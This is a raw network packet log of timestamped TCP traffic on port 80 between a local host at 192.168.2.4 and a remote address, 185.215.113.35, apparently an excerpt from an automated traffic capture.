Jan 14, 2022 12:30:14.864994049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.865098000 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.865211964 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.865320921 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.865410089 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.865515947 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.865606070 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.865708113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.865797043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.865900993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.865997076 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.866097927 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.866187096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.866286993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.866379023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.866487026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.866580963 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.866682053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.866775990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.866883039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.866970062 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.867073059 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.867443085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.867558956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.867656946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.867759943 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.867850065 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.867952108 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.868046999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.868144989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.868242979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.868345022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.868437052 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.868539095 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.868635893 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.868736982 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.876705885 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.884524107 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.884537935 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.884545088 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.890516996 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.890535116 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.890542030 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.891031981 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.891043901 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.892108917 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.892122984 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.892188072 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.893186092 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.893197060 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.893490076 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.893502951 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.893510103 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.893907070 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.893918991 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.894288063 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.894299984 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.894306898 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.894531965 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.894542933 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.894809008 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.894820929 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.895822048 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.895838976 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.895845890 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.895853043 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.897120953 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.897134066 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.900423050 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.900435925 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.913903952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.914236069 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.914264917 CET	49916	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.914623022 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.914865017 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.914995909 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.915141106 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.915363073 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.915482998 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.915608883 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.915728092 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.915848970 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.915878057 CET	49919	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.915940046 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.916018963 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.916100979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.916243076 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.916337013 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.916428089 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.916522026 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.916611910 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.916696072 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.916783094 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.916873932 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.916964054 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.917052031 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.917136908 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.917227983 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.917316914 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.917403936 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.917506933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.917593956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.917680025 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.917772055 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.917859077 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.917951107 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.918035984 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.918127060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.918234110 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.918328047 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.918417931 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.918509007 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.918601990 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.918678999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.918776989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.918860912 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.918950081 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.919028044 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.919122934 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.919205904 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.919301033 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.919379950 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.919477940 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.919554949 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.919651985 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.919733047 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.919826031 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.919905901 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.920001030 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.920176029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.920227051 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.920255899 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.920356989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.920434952 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.920533895 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.920617104 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.920711040 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.920799017 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.920892000 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.920974970 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.921066999 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.921150923 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.921273947 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.921365023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.921467066 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.921569109 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.921657085 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.921756029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.921844959 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.921946049 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.922033072 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.922133923 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.922252893 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.922367096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.922455072 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.922565937 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.922759056 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.922875881 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.923084021 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.923182964 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.923278093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.923366070 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.923456907 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.923600912 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.925930023 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.925942898 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.926101923 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.926112890 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.926253080 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.929928064 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.930547953 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.930560112 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.932651997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.934659958 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.934736013 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.934832096 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.934925079 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.935014009 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.957591057 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.957688093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.957801104 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.957904100 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.957983971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.958071947 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.958173037 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.958266020 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.958353996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.958440065 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.958534002 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.958702087 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.958794117 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.958882093 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.958971977 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.959059954 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.959147930 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.963501930 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.963613987 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.963689089 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.963784933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.963865042 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.963960886 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.964080095 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.964152098 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.964294910 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.964334011 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.964432001 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.964519024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.964607000 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.964694023 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.964785099 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.964874029 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.964963913 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.965055943 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.965143919 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.965240955 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.965331078 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.965424061 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.965511084 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.965600014 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.965692043 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.965790033 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.965889931 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.965975046 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.966061115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.966151953 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.966244936 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.966334105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.966427088 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.966523886 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.966612101 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.966700077 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.966793060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.966886997 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.966998100 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.967063904 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.967154980 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.967250109 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.967341900 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.967432976 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.967530012 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.967618942 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.967709064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.967801094 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.967885971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.967969894 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.968060017 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.968148947 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.968662024 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.968704939 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.968883038 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.968991995 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.969089031 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.969191074 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.969297886 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.969409943 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.969516039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.969599009 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.969688892 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.969805956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.969917059 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.970005989 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.970115900 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.970215082 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.970304966 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.970416069 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.970515013 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.970613956 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.970704079 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.970798016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.970909119 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.970994949 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.971096039 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.971343994 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.971472979 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.971594095 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.971703053 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.971816063 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.971920967 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.972035885 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.972184896 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.972291946 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.972448111 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.973666906 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.974442005 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.974456072 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.974523067 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.974534035 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.975588083 CET	80	49916	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.975663900 CET	49916	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.977761030 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.977771997 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.977778912 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.977786064 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.977796078 CET	80	49919	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.977997065 CET	49919	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.978697062 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.978739023 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.982748032 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.983051062 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.983228922 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.983438015 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.983513117 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.983527899 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.983576059 CET	49919	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.983633995 CET	80	49914	185.215.113.35	192.168.2.4
Jan 14, 2022 12:30:14.983720064 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.983863115 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.983943939 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.984026909 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.984107971 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.984213114 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.984299898 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.984384060 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.984473944 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.984577894 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.984668016 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.984751940 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.984853983 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.984946966 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.985047102 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.985141993 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.985249996 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.985426903 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.985555887 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.985644102 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.985757113 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.985841036 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.985941887 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.986038923 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.986138105 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.986224890 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.986326933 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.986414909 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.986519098 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.986607075 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.986710072 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.986793995 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.986893892 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.986978054 CET	49914	80	192.168.2.4	185.215.113.35
Jan 14, 2022 12:30:14.987080097 CET	49914	80	192.168.2.4	185.215.113.35
